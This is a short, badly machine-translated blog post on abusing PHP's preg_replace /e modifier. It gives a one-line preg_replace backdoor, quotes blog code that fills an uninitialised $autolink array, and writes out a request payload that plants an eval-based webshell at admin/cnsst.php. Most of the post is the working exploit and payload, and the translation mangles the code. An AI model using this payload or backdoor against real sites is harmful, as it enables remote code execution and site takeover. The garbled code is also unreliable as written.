I saw an interesting piece of code a few days ago and recorded it.
First, we will introduce a famous function preg_replace in php. Its prototype is:
Mixed preg_replace (mixed pattern, mixed replacement, mixed subject [, int limit])
This function is interesting: As long as/e appears in the first parameter, the second parameter can be controlled, so we can execute the Php Code. For example, you can write a sentence based on this: <? Preg_replace (// e, $ _ GET [c],)?>
Below is a piece of code that I excerpted from a blog
@ Require (admin/class/autolink. php );
If (count ($ autolink )! = 0 ){
Foreach ($ autolink as $ key => $ val)
{
$ Pattern [] = "/(? <! Http: //) (". $ val [keyword].") (?! [A-z0-9/-_ + = .~! % @? # % &;: $ \ () |] +)/I ";
$ Replace [] = "[url = {$ val [url]}] \ 1 [/url]";
}
$ OneRe [content] = preg_replace ($ pattern, $ replace, $ oneRe [content]);
Unset ($ pattern, $ replace );
}
Is this code very sinister? If the user deletes admin/class/autolink. php for a default connection, $ autolink is not correctly initialized and we submit
Autolink [keyword] = // e & Autolink [url] = fputs (fopen (admin/cnsst. php, w +), <">? @ Eval ($ _ post [c])?>)
In this way, we get the smallest horse of admin/cnsst. php.